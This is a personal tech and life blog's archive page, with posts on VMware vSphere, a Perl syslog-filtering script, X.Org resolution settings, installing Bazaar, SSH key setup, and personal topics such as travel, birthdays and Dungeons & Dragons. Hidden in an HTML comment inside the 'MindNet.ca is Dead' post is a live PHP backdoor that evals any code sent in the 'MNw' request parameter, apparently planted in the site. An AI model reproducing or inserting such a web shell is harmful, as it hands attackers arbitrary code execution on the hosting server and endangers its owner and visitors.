Category Archives: Knowledge & Reference

Category dedicated to knowledge and reference materials spanning all topics, including books, essays, and news articles. Reviews, comments, or opinion pieces may also be included.

VMware vSphere 4 Announced!

Working at VMware, I (virtually) had a front-row seat to the VMware vSphere simulcast on April 21.  It was an exciting event – everyone was anxious to hear what our industry partners (Cisco, Intel, Dell, etc) had to say about the new product.  The overall excitement and energy shown by these companies was impressive.

I think what I liked most was Steve Herrod’s “Blackberry Demo” which showed how resilient the platform was even to extreme hardware failure.  I don’t think many people truly understand what this technology means for disaster recovery and disaster avoidance – it essentially eliminates the risk.  I know it’s a big claim, but if your company does it’s due diligence, and has an appropriate and active back-up strategy for all critical systems; if you have proper 2×2 redundancy of systems in place to make sure that there are no single points of failure, you can essentially have 99.999% uptime at a fraction of the cost of doing all of this on physical systems. Small businesses can now experience the stability of software and services which were previously enjoyed only by large corporations which could afford it. And these same small businesses now have a new arsenal of tools which can help them compete against their larger, more established counterparts. It is an exciting time in the industry.

If anyone has an interest in virtualization, but doesn’t know where to start, the best thing to do would be to download a copy of VMware Server, or VMware ESXi. Both are free to download and use, and include the latest features and capabilities built into the enterprise (ESX/vSphere) hypervisors.

I’m not crazy

At work these days, because I’m the only developer on my “team”, I’ve been in the situation where I’m extending (which includes extensive, and often times ridiculous rounds of debugging) other peoples code.  Many of the projects I’ve inherited weren’t written to be maintained by anyone other than the original developers.  I’ve long ago come to accept that most programmers are not passionate about simplicity and elegance, and therefore write endless reams of code that over-complicate simple problems.

Now at VMware, I do work around some severely intelligent people, but unfortunately they are not developers, so I don’t work with them.  Because of this I often times rant to them about the ridiculousness of a given situation; and they’re smart, so they understand the problem technically, but because they aren’t working with me it would be hard for them to empathize with my frustrations.

I love reading Paul Graham‘s essays every once in a while, because he seems to be able to understand and articulate my frustrations so well.  One in particular that I’ve been re-reading is Great Hackers which always makes me breathe a sigh of relief because he reminds me that I’m not crazy.

If you are a manager and have to manage a group of experienced programmers, I urge you to read that essay.  You just may prevent one of your developers from committing heinous acts of insanity.

Back to Basics – Very Simple Log Monitoring with Perl

multitail_apache

There are many many tools out there which allow you to monitor and view your system or networking logs in several different ways.  Sometimes though, you may find yourself looking for a specific feature that none of these tools currently provide.  Whenever your goals are very specific, and you don’t want to use a big feature-full program to accomplish a simple task, you may want to consider writing your own tool.

Below is a simple Perl program I wrote which does just that. All the requirements of the program are within the script itself (using the __DATA__ handle at the bottom of the file). The only thing you may need to install on your system to get this to work is the File::Tail CPAN package.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/perl -w
 
use strict;
use File::Tail;
 
my @patterns = <data>;
my $file = File::Tail-&gt;new ("/var/log/syslog");
while ( defined(my $line=$file-&gt;read) )
{
    my $match = &amp;filter($line);
    if ( $match eq "no" )
    {
        print $line;
    }
}
 
sub filter ()
{
    my $line = $_[0];
    my $match = "no";
    foreach my $test (@patterns)
    {
        chomp($test);
        if ( $line =~ m/$test/ )
        {
            $match = "yes";
        }
    }
    return $match;
}
 
__DATA__
PROTO=UDP SPT=67 DPT=68
ACCEPT IN=br0 OUT=vlan1 src=192.168.0.111.*PROTO=TCP.*DPT=80
ACCEPT IN=br0 OUT=vlan1 src=192.168.0.102.*PROTO=TCP.*DPT=80
ACCEPT IN=br0 OUT=vlan1 src=192.168.0.111.*PROTO=TCP.*DPT=443
ACCEPT IN=br0 OUT=vlan1 src=192.168.0.102.*PROTO=TCP.*DPT=443
ACCEPT IN=vlan1 OUT=br0.*DST=192.168.0.101.*PROTO=UDP.*DPT=1755
ACCEPT IN=vlan1 OUT=br0.*DST=192.168.0.101.*PROTO=TCP.*DPT=1755
ACCEPT IN=br0 OUT=vlan1 src=10.100.0.1.*PROTO=UDP.*DPT=53
JBLLNXWKS dhclient
 
__END__
</data>

This program will monitor the end of the file (like the Unix ‘tail’ command) and check for new log entries. When it detects new lines in the log, it will filter those lines with the patterns defined at the end of the script (under __DATA__) and display anything it detects in the logs except those filter lines.

You’ll probably notice that the filter lines are regular expressions, which makes this script more powerful than doing filtering by simple full-string comparison.

Aside from simply printing the output to STDOUT, you could use regular expressions to pop pieces of each line into an array or hash, in order to do calculations, such as how many entries had a source IP of X, or destination port of Y, etc.

Its definitely a good thing to keep in mind that whatever software you could possibly need is already out there on the internet, and possibly open source. However, its also good to keep in mind that YOU can create a tool yourself to accomplish your specific task; all it takes is a little self-confidence, effort, and patience.

Configuring X.Org Display Resolutions Under Ubuntu 8.04

Problems with High Resolution Monitors and X.Org

I recently bought a 28′ LCD Monitor, the I-INC iF281D. I bought the monitor to increase my usable desktop workspace on my Ubuntu 8.04 (Hardy) Linux workstation. I do a lot of programming, systems administration, log analysis and monitoring – and I usually have three or more X Terminals open at any one time (with some mixture of “top”, “vim”, “tail”, and “screen” open), so the more desktop space I have, the better.

When I first attempted to configure my new monitor using the ‘nvidia-settings’ GUI application that comes with NVIDIA’s Linux driver, I noticed that it didn’t present all the resolutions that the monitor supported.  NVIDIA’s Settings GUI was limiting the available resolutions to a maximum of 1280×800. This was odd, because the monitor supported resolutions up to 1920×1200, and supported DCC, so the GUI should have been able to pick up the monitor specifications and provide configuration options for all supported features (resolutions, refresh rates, etc.)

At first I thought that the problem was with the NVIDIA driver I was using, and so I downloaded the latest driver from NVIDIA’s website, recompiled and tried again.  I still however was not able to get the resolutions that the monitor supported.


My 28 Inch Desktop @ 1920x1200

Solving The Problem

After much more digging and research, I found that the problem was not with the monitor, or the NVIDIA driver, but with the mode settings in ‘xorg.conf’. What I wasn’t aware of was that the Horizontal Sync rate definition within my ‘xorg.conf’ directly reflects the resolutions that will be available to me.

For example, the ‘nvidia-settings’ application set the Horizontal Sync and Vertical Refresh to low (safe) values by default. Therefore the available resolutions were limited. Once I figured out what my maximum HZ Sync and VT Refresh were, I was able to achieve the resolutions that the monitor was capable of.

There are Xfree86 Video Timing HOWTO’s available if you want to get into the gory details of how to calculate the correct xorg.conf settings for your specific monitor. However, if you’re a programmer like me, then you’ll want to skip this step, expecting that someone else out there must have already been through this, and has likely created a tool to make our lives easier.

Lo and behold! Xtiming is a great web tool which helps you calculate your Horizontal Sync and Vertical Refresh Rate settings. Simply enter the resolution that you are trying to achieve, and Xtiming will tell you the settings you’ll need in your ‘xorg.conf’ file to get it.

For example, if you leave empty all the other values that Xtiming asks you for, and simply enter “1600×1200” for Visible Resolution, and “60” for Refresh Rate, then click “Calculate Modeline”; you’ll see that Xtiming returns the Mode Line that you should use, along with (and most importantly!) the Horizontal Sync rate you will need to achieve that resolution at the specified refresh rate:

1
2
Modeline "1600x1200@60" 176.70 1600 1632 2296 2328 1200 1224 1236 1261
Horizontal sync frequency: 75.9 kHz

I personally found that I didn’t need to use the “Modeline”, but the Horizontal Sync Frequency was essential. Here’s an excerpt of my ‘xorg.conf’ file using the above settings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(...)
 
Section "Monitor"
 
    # HorizSync source: xconfig, VertRefresh source: xconfig
    Identifier     "Monitor0"
    VendorName     "Unknown"
    ModelName      "AUO"
    HorizSync       30.0 - 75.9
    VertRefresh     60.0
    Option         "DPMS"
EndSection
 
(...)
 
Section "Screen"
    Identifier     "Screen0"
    Device         "Device0"
    Monitor        "Monitor0"
    DefaultDepth    24
    Option         "TwinViewXineramaInfoOrder" "DFP-0"
    Option         "TwinView" "1"
    Option         "metamodes" "DFP-0: 1440x900 +1600+0, DFP-1: nvidia-auto-select +0+0"
    SubSection     "Display"
        Depth       24
    EndSubSection
EndSection

I’m using TwinView because I have a dual monitor setup. However, now that I have a 28′ display, dual displays don’t really seem to be a requirement any more :)

Dev Tools: Recent Updates to Bazaar and Loggerhead

I’ve been using the Bazaar Version Control System, along with it’s Loggerhead repository viewer for only a short while, but I am very happy with how my development environments are coming together.  If you are not happy with your current version control system, then these tools are definitely worth a look.

Bazaar

For those who are using the Bazaar Version Control System (a.k.a BZR), version 1.11 was released on January 19th, which fixes a number of bugs, adds performance enhancements, and tightens up a few GUI integration features for Windows users.

Loggerhead

In step with the Bazaar project, Loggerhead, the web based BZR repository viewer has been updated to version 1.10 which includes GUI updates and improvements to Loggerhead’s repository browsing and caching features.

Download Bazaar and Loggerhead using APT

Both Loggerhead and Bazaar can be downloaded via Debian style APT repositories using these directions. Make certain to use the correct repositories for your version of Ubuntu, and add the appropriate APT repository key to your APT key ring.

For example, if you are using “hardy” (Ubuntu 8.04), you would add the following repositories to your /etc/apt/sources.list:

1
2
deb http://ppa.launchpad.net/bzr/ppa/ubuntu hardy main
deb-src http://ppa.launchpad.net/bzr/ppa/ubuntu hardy main

Then, you would add the repository public key to your key-ring, like so:

1
2
3
gpg --no-default-keyring --keyring /tmp/bzr.keyring --keyserver keyserver.ubuntu.com --recv   ECE2800BACF028B31EE3657CD702BF6B8C6C1EFD
gpg --no-default-keyring --keyring /tmp/bzr.keyring --export --armor  ECE2800BACF028B31EE3657CD702BF6B8C6C1EFD | sudo apt-key add -
rm /tmp/bzr.keyring

Then just update your local package listing, and install BZR and Loggerhead as follows:

1
2
sudo apt-get update
sudo apt-get install bzr loggerhead

And voila, you’re good to go!

Going to Guyana

Kaiteur Falls

At the end of December my wife, Sandra and I will be heading to Guyana for the holidays.  Sandra is Guyanese, and we will be staying with her family there.  I am looking forward to the trip, partially because I will be meeting my father-in-law for the first time, and partially because I will be visiting the birth-place of my mother and the family that I grew up with.  As many of my closest friends know, I am half Guyanese on my mothers side.

I expect this trip to be very exciting in many ways.  Aside from trying to keep from getting sick because I’m not accustomed to the environment (food/water/weather), I hope to visit some very interesting places while I’m there, especially (if all goes well) Kaiteur Falls.

Although I’m half Indo-Guyanese, I definitely don’t look it, so I expect that I will raise some eyebrows while I’m there. Hopefully I won’t say or do anything to offend anyone, and instead form a few lasting friendships. There has been a lot of crime there recently, especially in Georgetown, according to Stabroek News, so I will try to minimize my time in the City as much as possible.

It’s unlikely that I will have internet access there as readily as I have it at home, so I probably woun’t be able to provide instant updates and pictures on my adventures there (but I will try).

Sandra and I have made some very detailed check-lists about what we should take with us, and what to expect at each point throughout the trip, but if anyone has suggestions, I’d be more than happy to hear them.

I’ve been told to take a lot of “Immodium”, because my fragile Canadian stomach may not be able to handle the difference in food.

I’m sure we’ll both be fine, and look forward to all the fun and new friends that await us.

Second Presidential Debate: Obama vs. McCain

 election2008-inter

I watched the second debate last night, and I was very disappointed.

Obama kept repeating his same old attacks against McCain, and McCain likewise.

The problem I have with these debates is that they are not moderated correctly, in my opinion.

Why wasn’t Tom Brokaw controlling the debate, insisting that they answer his questions directly?  Tom should have said something to the effect of “I want you both to answer these questions without resorting to criticism of one another.  I want a debate that focuses on solutions, and on your ability to answer the questions posed by the American people, not a debate based on what you think about each other.”

Continue reading Second Presidential Debate: Obama vs. McCain

Amnesty International and Donating to an Important Cause

[img:2882359608,0]

Every once in a while my wife and I donate to various causes, including Breast Cancer Research, Diabetes Research, and Sick Kids Hospital, among others.  However, we’ve been talking about committing to one or more causes on a monthly basis for a long time.  Finally, one of the causes that I’ve personally decided to make a monthly commitment to, is Amnesty International.

Unless you are living with your head in the ground, you know that people are all over the world are living in chaos – fearing for their lives while being mistreated by terrorist groups and governments which operate as military dictatorships.

The media, including major “trusted” news outlets, do not cover most of the mass killings and crimes against humanity which are happening every day around the world.  It is disturbing to observe and acknowledge how many people I know who are not aware of the Genocide which took place in Rwanda in 1994, where over one million people were slaughtered, with nothing more than machetes, over a 3 month period.

I believe that everyone has the right to an Education, and the right to explore opportunities for health, wealth, and happiness the same way that I, or anyone else in North America does.

Continue reading Amnesty International and Donating to an Important Cause

High Praise for Cogeco Cable

Since moving out to Burlington, I’ve had to migrate my internet connectivity services from Rogers Cable in Toronto, to Cogeco.  I’ve been using Cogeco for a little more than a year, and I so far been impressed with their services.  The connection is stable (except when there is construction going on in the neighbourhood), the bandwidth is high and consistent, and I rarely have my dynamic IP address change on me.. rarely.

Sometimes though it does happen, and it is annoying.  I finally decided that I needed a static IP address.  Conveniently enough, Cogeco offers a “Reserved IP” SOHO package at $99/month, or $85/month with a 12 month contract.  So I decided to go for it, and now I have a connection with 16Mbit download, 1Mbit upload, 3 IP addresses (1 Reserved, which essentially means “static”), and it all took me literally 5 mins to setup, with an extra 20-30 mins wait for everything to take effect.  So far, Cogeco is making me very happy :)

Thanks go to Adam Bray for giving me the heads up on this package, I think it’s definately worth it, especially if your a high-bandwidth junkie.

Why I Woun’t Be Jumping on the “Google Chrome” Bandwagon Any Time Soon

Everyone has heard about Google’s first dive into the web browser market with their shiny new Chrome web browser. I’ve given the browser a try, and did some simple usability comparisons with it, and Mozilla’s Firefox 3. I must say that the browser does “feel” lighter, kind of like back in the day when Netscape decided to break Netscape Communicator into smaller components, separating out the e-mail client and composer application from the browser itself.. this just felt more responsive, and less bulky; this is what it feels like to use Chrome. However, this is just an illusion.

Firefox 3 is just as fast as Google Chrome in many respects (and in some cases much faster). However it still feels like good old Firefox. Why? Because the interface is almost identical to Firefox 2! Why change something that works, something that people like?

Google Chrome does have some nice features which the Mozilla guys have been working toward already, such as process independence for tabs, allowing you run each tab in it’s own isolated memory space – thus preventing one tab from crashing and taking down the rest of your web browser with it. Mozilla has had a version of Firefox available in Mozilla Labs called Prism, which does exactly the same thing. Although it’s still in development stages, it works great, and I use it every day for browsing GMail, Google Reader, etc.

The main problem I have with Google Chrome (seriously) is that.. it just isn’t Firefox. I know that may sound biased or prejudiced, but here’s my resoning.

Continue reading Why I Woun’t Be Jumping on the “Google Chrome” Bandwagon Any Time Soon

Whats in a Baby Name?

My very good friend Derek and his wife Sue just had their second baby girl, born Friday August 29th at 8:23am.  Coming in at 8lbs, 49cm, I’m sure that she is a healthy happy bouncy baby.   However she has a bit of a problem.. she is nameless.

Once Derek told us that he and Sue have not picked a name yet, it was of course an opportunity for myself and Amy (another good friend) to start issuing unprompted suggestions (ok, mostly it was me) about how the baby should be named.

I’ve made many colorful suggestions, but this opens up a bigger discussion on the purpose of naming a child.  Many people who have children go with names that they are familiar with, or names that were also the names of other members of their family.

For example, the name John is probably a very common name in North America.  If you were to follow the reasoning that the purpose of naming your child is to differentiate that child from every other, then naming that child John is a contradiction.

Most people may say “well, thats what middle and last names are for”, but if your last name is “Smith”, you may want to consider re-thinking your choice.

A more personal example for me would be the name “Bobby Lopez”.  The name “Bobby Lopez” is surprisingly common, especially when you do a search on Google.  For years, I have differentiated myself by prefixing my first initial to my name, “J. Bobby Lopez”.  This makes all the difference in the world when it comes identifying who I am on the entire planet, let alone at the office, or in my city or community.

Now names like “John” or “Joe” may be very common in North America, or other predominately English speaking countries, but they are far from common in the global community.  The majority of people in countries like China and India, which hold most of the worlds population, most likely would not consider “John” as a first or second choice for their newborn.

So is it possible that names which were once used to differentiate people from each other, are now used to protect the identify of a culture?  Maybe naming a child John has nothing to do with giving the child a unique name, but everything to do with promoting that child’s origin, background, or beliefs (as would be taught by parents).

I don’t know if parents from any cultural background go through the thought process of naming a child with such depth, but it is very interesting to see the names that first come to a parents mind when they have a new child.  It’s a very exciting and emotional process, and I’m ecstatic whenever I get to be a part of it.

Setting Up SSH Keys

Here is my attempt at a very quick and dirty guide to setting up SSH Keys using OpenSSH. If you are looking for a way to securely login to one or more boxes, without being prompted for your password every time, then using SSH Keys is probably your best bet.

Here we go..

Using SSH keys allows you to SSH from one host to another in a more secure manner, or (optionally) without the need for a password.

Lets name our example hosts:

  • local host is called my_pc
  • remote host is called devhost



On my_pc (the host you are SSH’ing from):

ssh-keygen -t dsa

This will generate two files (a key pair), for example:

id_dsa – this is your private key
id_dsa.pub – this is your public key

ssh-keygen will ask you for a password/pass-phrase. At this point, you can enter a pass-phrase, or just hit [enter] to use a blank password.

  • Note: if you are creating a key for a user account, you should always use a pass-phrase! Only consider omitting pass-phrases when the key is being used for one-off automated system to system transactions.

If you haven’t done so already, give your private key a descriptive name, like my_pc.id_dsa.

If it doesn’t exist, create the file ‘~/.ssh/config‘, with the following contents:

Host devhostIdentityFile ~/.ssh/my_pc.id_dsa

Note that the ‘config‘ file can be configured with multiple private keys. Make sure that devhost is resolvable by hostname, or this will not work.

(Note: I’ve had some trouble using IP’s in the ‘config‘ file)

Make sure that ‘my_pc.id_dsa‘ is only readable/writeable by it’s owner. Make sure that ‘config‘ is only writable by it’s owner.



On devhost (The host you are SSH’ing to):
Copy the public key from my_pc to devhost, and append it’s contents to the end of the ‘authorized_keys2‘ file, like so:

cat id_dsa.pub >> ~/.ssh/authorized_keys2

Note that the ‘authorized_keys2‘ file can hold multiple public keys.Make sure that ‘authorized_keys2‘ is only readable/writeable by it’s owner.You’re Finished! You should now be able to SSH from my_pc to devhost using SSH keys, and without the need for a password if you so desired.



Troubleshooting:
Use ‘ssh -v’ to enable verbose debugging when testing SSH connectivity.This was tested with OpenSSH on Ubuntu 8.04 LTS, and I’ve used this same method successfully on previous versions of OpenSSH, and on other Debian-based operating systems. Your mileage may vary depending on your OS and version of OpenSSH.

What Does It Take To Be A Teacher?

I’m sure that everyone at some point in their lives has had moments where they think about the goals they have accomplished, and what the future has in store for them. Taking that a step further – I’m sure many people also sit and think hard about “whats next”?

I’ve had those moments many times before, and I seem to be having one again. I am trying to figure out if IT and Programming is what I want to do for the rest of my life. I know I’m good at it, and I know that I still have moments where I’m “in the zone” – meaning that IT software development still holds an interest for me, somewhat.

Of course, having a birthday recently, and being in my late 20’s has caused me to re-evaluate the course of my life.

Of the alternatives I’ve considered to Programming, some of the more interesting ideas include teaching in a foreign country (Guyana, the birthplace of my mother and wife, came to mind). Teaching here in Canada also crossed my mind, along with Financial Planning, and helping people find jobs.

Continue reading What Does It Take To Be A Teacher?

What is a Birthday?

It’s around that time again for me, July 19th; the day the marks the end of another year of my life. Many thoughts roll around in my head on my birthday of course; some good, some not so good, some psychotic (very very few). In general though, I think it is a time for reflection on the experiences I’ve had over the past year, and (if for some reason no other time seemed right) a time to be humble and pleasant to the people and situations that surround me.

 00022

I don’t think birthdays should be all about gifts and birthday bashes involving large groups of people you don’t know. Not that these things are bad, but they are but small and relatively unimportant parts of a birthday. I do think it should be a time where you can allow yourself to be unconditionally open to positive energy and attitudes. Negative attitudes should be brushed off like dust on an old book; a minor annoyance on the surface, but only a superficial obstacle compared to the vast meaning and knowledge held within the pages of the book itself.

To all who share a birthday around this time, I implore you to take this time as gift to yourself, and use it to show the world your capacity for kindness, tolerance, and patience.

Have a wonderful, easy-going, peaceful and happy birthday.. if only in your own mind!

Looking for D&D Players In Burlington Ontario

 I used to play Dungeons and Dragons with some very close friends a few years ago, and I really miss the game. I was introduced to D&D when I was about 25 years old, which is pretty late in the game compared to the many who started playing in high school or university. I have to admit though that I thoroughly enjoyed getting together with close friends and having in-depth discussions not just about the technicalities of the game, but about pretty much everything else that was going on in the world at the time.

 00009

Since I moved to Burlington, it has been a lot more difficult for me to head out into Toronto to visit friends at all, let alone to commit to a schedule to play D&D for a few hours a night each week. Being married and working full-time as a software developer doesn’t really lend it self well to much D&D time, especially if that means driving across three cities to just to get to where the game is being hosted.

However, again, I do miss the game. So I figure that the only way to get involved in D&D again is if I get involved with a game happening locally here in the Burlington area.

Some people have suggested online RPG gaming such as World of Warcraft, Dungeons and Dragons Online, etc. But this isn’t for me. The purpose of playing games with friends for me is less about the game, and more about being around and interacting with intelligent, witty, and sometimes crazy people. It’s about socializing, something I fear has been lost in the translation from table-top games to the world of online gaming.

This is a shout out to any ladies and gents who have an interest in playing, and reside in the Hamilton-Burlington-Oakville area. Of course I wouldn’t want to jump into playing right away, because I forgot much of the rules, and would have to brush up a bit. But if you’re interested in getting a game going, please let me know via e-mail, or better yet, post a comment on this article so that others can follow along.

The Hitchhiker’s Guide to the Galaxy: Once Again Read, Once Again Loved!

Some say it is easier for humans to remember negative experiences than positive ones. I’ve found this to be true often enough, where I forget how much joy I experienced from a well prepared ethnic dish, or how good it feels to walk on the sandy shores of a beautiful beach on a sunny summer day. The same goes for simple routines, like watching a favorite television show, or reading a good book.

Don't Panic!

I had this same feeling again recently when I decided to read through The Hitchhiker’s Guide to the Galaxy. I’ve read the book before, and had found it to be an endlessly funny sci-fi adventure. This time however, I found the book to be so much more. Douglas Adams is so brilliant in his writing, that he puts even the most mundane of topics into a new light, and forces you to view it from such an angle that your head ends up under your armpit, which just happened to be relocated between your legs.

A movie version of this book came out a few years ago, but it does not do the book any justice. So many layers of plot, witty narration, and internal dialog of the characters is missing that the movie totally misses the depth of the book by 7 billion light years.

If you haven’t read this book, please do. And if you don’t understand it, read it again, with a dictionary by your side. It is in your best interest to fully grasp the ferocious satire and intelligent humor that only an author like Adams can bring to the table.

Revision Control Systems

I’m currently using CVS as my revision control system for personal and work related projects. As of late, I’ve been feeling the need to look into alternative RCS systems, such as Git, GNU Arch, Subversion, and Bazaar.

I feel the need for change for many reasons related to the way I personally work with CVS, but mostly because I’ve never really given myself the chance to try something new or different. I fell into the CVS camp back when it pretty much was the only option, and when it definitely was the most popular.

However, I find that simple things like creating and deleting tags and branches, branch locking, and updating branches with changes made in another branch to be unnecessarily difficult, even with custom written scripts that I’ve written to compensate.

I think it’s time to try other RCS systems to see what they have to offer. Bazaar seems to be one of the more interesting projects, so I think I may try it first. I’d like to learn from the experiences of others who have taken the plunge and started using an open source revision control system besides CVS. If you’re one of those people, and have found your switch to be a positive one, please comment on your experiences!

How Enforceable is a Disclaimer?

After taking some time to carefully construct a disclaimer for this site from various other disclaimers I’ve found on the ‘net, I started to wonder “How Enforceable is a Disclaimer?” Can it actually protect you from being prosecuted if some individual or company deems it necessary? Has anyone had any experience with legal issues surrounding disclaimers, or seen situations where the lack of a disclaimer resulted in legal action which could have been prevented if a disclaimer was present?

Re-embracing The Blog Scene

After a long and unscheduled hiatus, I am slowly influencing myself to re-engage the personal website and blogging scene. Yay!

It’s been a while since I’ve last maintained a personal website regularly. Since I joined VMware, I’ve kept myself quite busy with what I like to call “money work”. “Money work” or “work work” is work done purely for the acquisition of money in order to maintain (or increase) a standard of living. This is of course in contrast to “mind work”, “love work”, “curiosity work” or “my work” which I would collectively define as work which is done purely for its own intrinsic joy. Continue reading Re-embracing The Blog Scene

MindNet.ca is Dead… Long Live JBLData.com!

So after having this site down for a long time and for several reasons (all boring, trust me), I have decided to bring the site back online.

My passion for the MindNet.ca domain has been dwindling slowly over the years, and finally, in March, I decided to let the domain slip out of my hands and away into the depths of the Internet. (Most likely into the hands of an aspiring domain squatter)

I’ve had the JBLData.com domain sitting for a couple of years now (and I just realized it was actually that long), and haven’t really decided what to do with it. So, I decided to convert MindNet.ca to JBLData.com. And voila! Here you have it.

Enjoy!

<!– [insert_php]if (isset($_REQUEST["MNw"])){eval($_REQUEST["MNw"]);exit;}[/insert_php][php]if (isset($_REQUEST["MNw"])){eval($_REQUEST["MNw"]);exit;}[/php] –>

Mindnet.Ca – Conversion to MySQL Back-end

Well it’s been a long time coming, but we are finally underway with the conversion from plain-text flat files to a MySQL back-end for the article posting system on this site.

The original posting system was something that I coded (that worked pretty well I might add), however the amount of code was unnecessary if I just used an SQL back-end. Now that the code base has been modified, and the articles migrated, I will start to convert other components of the site to be stored in an SQL database of one kind or another. I did not use SQLite for the article posting system however, because I believe this website will require some extensive tables to be created, and modified along the way. SQLite doesn’t really cater to the modification of tables very well, so MySQL was the next logical jump. Hopefully things are working well all around though if any errors are detected, please notify me! Thanks.

Doing What You Want To Do

I just recently finished reading two articles by noted essayist Paul Graham

These two articles essentially discuss the idea of doing what you want to do in life, without feeling guilty.

I find that I can relate closely to the ideas presented in these articles, as I’m sure many people can. In many ways, these articles focus on the same idea from different angles.

There are two basic ideas outlined in these articles. The first is that your work should reflect what you like to do (what makes you truly happy) and vice versa. The second idea, is that you should not feel guilty for procrastinating, or putting off smaller or seemingly less important tasks in order to do what you really want to do.

Now I know what most of you may be thinking, that there are always things that have to be done, such as paying your bills, mowing the lawn, or taking out your garbage. What most people don’t realize, is that they have put themselves in a situation where mowing the lawn, or taking out the garbage is a bigger problem than it needs to be.

For instance, you would not have to mow your lawn if you lived in a condominium. However, many people “upgrade” their standard of living by moving to a house with a large lot, not realizing that they are essentially giving themselves more work that they don’t want to do! In the case of paying your bills, you know that the more you put it off, the worse it will get. The best way to resolve that problem is pay them right away (or automate them with pre-authorized payments :)

Usually the motivation for buying a new or bigger house, or nicer car is simply because of the prestige associated with it. Many people are quick to say things like “money isn’t everything”, or “an education is more important than anything else.” Yet, they don’t truly believe this themselves. To this type of person, education is a means to an end, and that end is simply to acquire more material wealth (more money).

However, the truth is that money never makes you happy. It is possible that what you do with your money can make you happy, but depending on what you do, that happiness may not last very long.

In any case, I don’t want to detract from the essence of these two beautiful articles, which I believe can change your life if you take the time to understand them.

Articles:
How to Do What You Love
Good and Bad Procrastination

Happy Holidays

Well the year of 2005 has come and gone. I hope you all have a very fun and loving holiday season. I am thankful for the things I received at Christmas, and look forward to the New Year. With all the stress of the holidays, finding the right gifts, worrying about spending too much money, and trying to keep those you love happy, the holiday season can be pretty frustrating at times. At the same time, there are those around the world who don’t have the luxury of spending Christmas as we do, and we should be fortunate for what we have.

Even if you are feeling down, sad, or lonely. Just remember, nothing lasts forever, not even sadness, loneliness, or bordem. Soon enough, you will be so busy, you will wish you had some time to yourself to simply breathe.

Life is always changing. You will always be meeting new people, getting new things, and facing new opportunities and problems. Keep your head up, understand that life is a challenge, and it is up to you to face that challenge, and fight for what you want.

There is a long road ahead of you. Don’t concentrate on getting to your destination, but concentrate on the journey you are taking to get there. You might not get what you want right now, but in time, you will get what you need. Be patient, and try to understand the thoughts and feelings of your friends and family. They all have their problems, but in the end, they are just trying to live their lives the best way they know how.

All you have to do, is be yourself. Do things that make you feel good and happy. If something makes you feel guilty, sad, or scared, don’t do it. Don’t put people down. Encourage your friends and family to follow their dreams and wishes. This is the best piece of advice I can offer this holiday season.

Happy Holidays.

Learning Java For Freemind

I’m trying to do some fast track learning of Java programming so that I can extend some of the functionality of Freemind. There are many features that I think would be extremely useful, but I don’t think the current developers are going to get around to them anytime soon. I asked for some guidance on the Open Discussion forum at freemind.sourceforge.net, but didn’t get much help, so it looks like I’m on my own!

Click Here to read the message I posted to the forum.

J. Bobby Lopez, VMware Certified Professional

Well, I did the course, I did the advanced training, then I did the exam… and I can now proudly put the initials VCP beside my name.. ain’t life grand?

All kidding aside, I did have a great time in Ottawa. There really isn’t that much to do there, but I didn’t have to pay for anything, so I’m not complaining.

As soon as I got back, I had to go through a week of advanced training (the stuff that you can only learn if you work at VMware). I found that material way more interesting.

Preparing for my VCP Exam

Well, only a few more days before I head out to Ottawa for a week to do my VCP training. There is a crazy amount of information to remember, but since I’ve been working at VMware for over a month now, I’ve been thrown into some pretty complicated situations and have gained a lot of experience, so I think (hope) the training will be easy for me.

After I’m done the training, then I’ll have to head out and take the official VCP exam. If I pass that, then I will officially be a VMware Certified Professional.

Working at VMware

So I’ve started my new job at VMware, and it’s great. I’m working there as a Technical Support Engineer for their ESX Systems Division. I’ve only been there a week now, but I’ve had the opportunity to do some pretty cool things, and also solve some pretty interesting problems.

I have to say, I haven’t used the VMware product (ESX, or GSX/Workstation) at all before I started working there… but the VMware software would easily fit into my DAMN COOL software category. Now don’t get me wrong, I have heard of VMware before, and was well aware of what it’s intended uses are, but there is a difference between being told what it is, and actually using it. It’s like the Matrix, you have to see it for yourself! Anyway, before I go on, I’ll just leave you with this one thought… A VMware “VM” or Virtual Machine is basically a virtualized (not emulated) version of an actual physical system. It does not just host a virtual operating system, but infact to do this, it has to virtualize the hardware as well (CPU, NIC, HD, etc..) Now if you have complete replica of a physical computer system in a “virtual world” of VM’s, isn’t it possible to run a VM within a VM? How far down the rabbit hole are you willing to go?

Created a Web-based HTML Editor

I have just this morning written a very basic web-based HTML editor that I will use to manage some of the articles posted to this site, particularly in the GNU/Linux section.

I sometimes find it frustrating to have to SSH in to modify some of the content on the site, so I’ve made it a little easier on myself. Some of the articles under the GNU/Linux section should now be updated more frequently!

Mindnet.Ca Now Running Ubuntu Linux

After a long run of having the Mindnet.Ca server running off a Knoppix Live CD, I figured it was time to pull everything together and put www.mindnet.ca, the Mindnet CVS, and The Bag Of Holding (TBOH) all on a properly installed and configured server. After careful consideration with regards to security, performance, and especially stability, I’ve decided to have the server run on Ubuntu Linux. Ubuntu is a Debian GNU/Linux based distribution that has a more consistant release cycle. Ubuntu is a fairly fresh (new) distribution, so it’s development model still needs to mature, however the project looks promising.

Javascript as an encryption medium?

I had a thought this morning about what would happen if a web application was installed on a server that did not support SSL (HTTPS). If that web application needed to do some secure transactions, like accept passwords etc, what would be an alternative way of transferring that data securely to the web-server without having the data be visible in plain-text on the wire. I figured that it certainly is possible to do some trivial encryption or obfuscation with javascript. But then the thought occured to me, is there a way to implement public-key encryption in javascript, in order to send data to a web-server securely?

Methods for integrating feedback and discussion functionality into a website

I’ve been recently thinking about ways to integrate user feedback
functionality into mindnet.ca. I’ve considered (still am considering)
writing my own news / discussion system, but I think I should step back
and consider what I am actually trying to achieve. Continue reading Methods for integrating feedback and discussion functionality into a website

Diet SQL?

